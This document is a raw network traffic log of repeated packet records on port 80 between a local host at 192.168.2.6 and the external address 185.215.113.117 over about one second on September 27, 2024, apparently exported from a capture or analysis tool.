Sep 27, 2024 16:18:19.128420115 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.128433943 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.128465891 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.128482103 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.128657103 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.128669977 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.128698111 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.128710985 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.128725052 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.128726959 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.128741026 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.128746986 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.128757000 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.128762007 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.128782988 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.128799915 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.128968954 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.128983021 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.129010916 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.129028082 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.129111052 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.129125118 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.129138947 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.129151106 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.129167080 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.129173994 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.129188061 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.129194975 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.129201889 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.129213095 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.129216909 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.129232883 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.129245996 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.129276991 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.129694939 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.129709959 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.129723072 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.129736900 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.129750967 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.129751921 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.129765987 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.129770994 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.129781008 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.129784107 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.129796028 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.129810095 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.129813910 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.129823923 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.129837990 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.129837990 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.129853010 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.129867077 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.129892111 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.130244017 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.130258083 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.130270958 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.130285978 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.130290985 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.130330086 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.130506992 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.130521059 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.130533934 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.130547047 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.130561113 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.130562067 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.130584002 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.130597115 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.130604982 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.130611897 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.130625963 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.130640030 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.130640030 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.130655050 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.130656958 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.130669117 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.130681992 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.130682945 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.130696058 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.130709887 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.130709887 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.130723000 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.130726099 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.130753040 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.130775928 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.131501913 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.131515980 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.131530046 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.131544113 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.131557941 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.131567001 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.131572008 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.131584883 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.131586075 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.131601095 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.131614923 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.131623030 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.131628990 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.131640911 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.131643057 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.131656885 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.131673098 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.131681919 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.131694078 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.131711960 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.132093906 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.132107973 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.132121086 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.132134914 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.132148027 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.132149935 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.132162094 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.132163048 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.132191896 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.132203102 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.137088060 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.137109995 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.137123108 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.137136936 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.137164116 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.137238026 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.137250900 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.137264967 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.137278080 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.137290955 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.137314081 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.137361050 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.137375116 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.137398005 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.137414932 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.177330971 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.177350998 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.177366972 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.177390099 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.177396059 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.177403927 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.177419901 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.177424908 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.177495003 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.177514076 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.177575111 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.177618027 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.178371906 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.178386927 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.178410053 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.178421021 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.178426981 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.178446054 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.178456068 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.178461075 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.178476095 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.178488016 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.178491116 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.178509951 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.178529978 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.216274023 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.216306925 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.216325998 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.216330051 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.216358900 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.216366053 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.216433048 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.216448069 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.216461897 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.216474056 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.216476917 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.216492891 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.216520071 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.216532946 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.216720104 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.216733932 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.216748953 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.216763973 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.216768026 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.216778040 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.216789961 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.216793060 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.216806889 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.216821909 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.216821909 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.216835976 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.216841936 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.216876030 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.217314959 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.217329979 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.217344046 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.217358112 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.217360973 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.217371941 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.217386007 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.217392921 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.217401028 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.217415094 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.217430115 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.217437029 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.217443943 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.217453957 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.217463970 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.217500925 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.217829943 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.217844963 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.217859030 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.217873096 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.217875004 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.217886925 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.217890978 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.217900991 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.217915058 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.217922926 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.217928886 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.217943907 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.217945099 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.217964888 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.217993975 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.218322039 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.218337059 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.218350887 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.218364954 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.218373060 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.218379021 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.218391895 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.218400955 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.218405962 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.218420982 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.218421936 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.218436956 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.218451977 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.218477964 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.218955040 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.218970060 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.218983889 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.218997955 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.218998909 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.219012976 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.219027042 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.219032049 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.219049931 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.219059944 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.219063997 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.219078064 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.219089031 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.219090939 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.219105959 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.219118118 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.219119072 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.219132900 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.219136000 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.219146967 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.219156027 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.219161987 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.219175100 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.219183922 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.219213963 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.219778061 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.219793081 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.219806910 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.219820976 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.219824076 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.219836950 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.219856977 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.219883919 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.251151085 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.251286983 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.251301050 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.251322985 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.251338959 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.251353979 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.251368999 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.251379967 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.251430988 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.251626015 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.251641035 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.251656055 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.251668930 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.251682997 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.251698017 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.251734018 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.251749039 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.251763105 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.251779079 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.251866102 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.251905918 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.252027035 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.252041101 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.252054930 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.252068996 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.252079010 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.252083063 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.252099037 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.252099037 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.252131939 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.252258062 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.252281904 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.252325058 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.252330065 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.252351999 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.252366066 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.252367020 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.252384901 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.252403021 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.252496004 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.252510071 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.252540112 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.252557039 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.252559900 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.252573967 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.252618074 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.252717018 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.252731085 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.252744913 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.252758980 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.252758980 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.252774954 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.252787113 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.252815962 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.252902985 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.252945900 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.266221046 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.266238928 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.266257048 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.266305923 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.266320944 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.266319990 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.266335964 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.266352892 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.266355991 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.266381025 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.266406059 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.266652107 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.266679049 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.266693115 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.266725063 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.266747952 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.267023087 CEST	80	49615	185.215.113.117	192.168.2.6
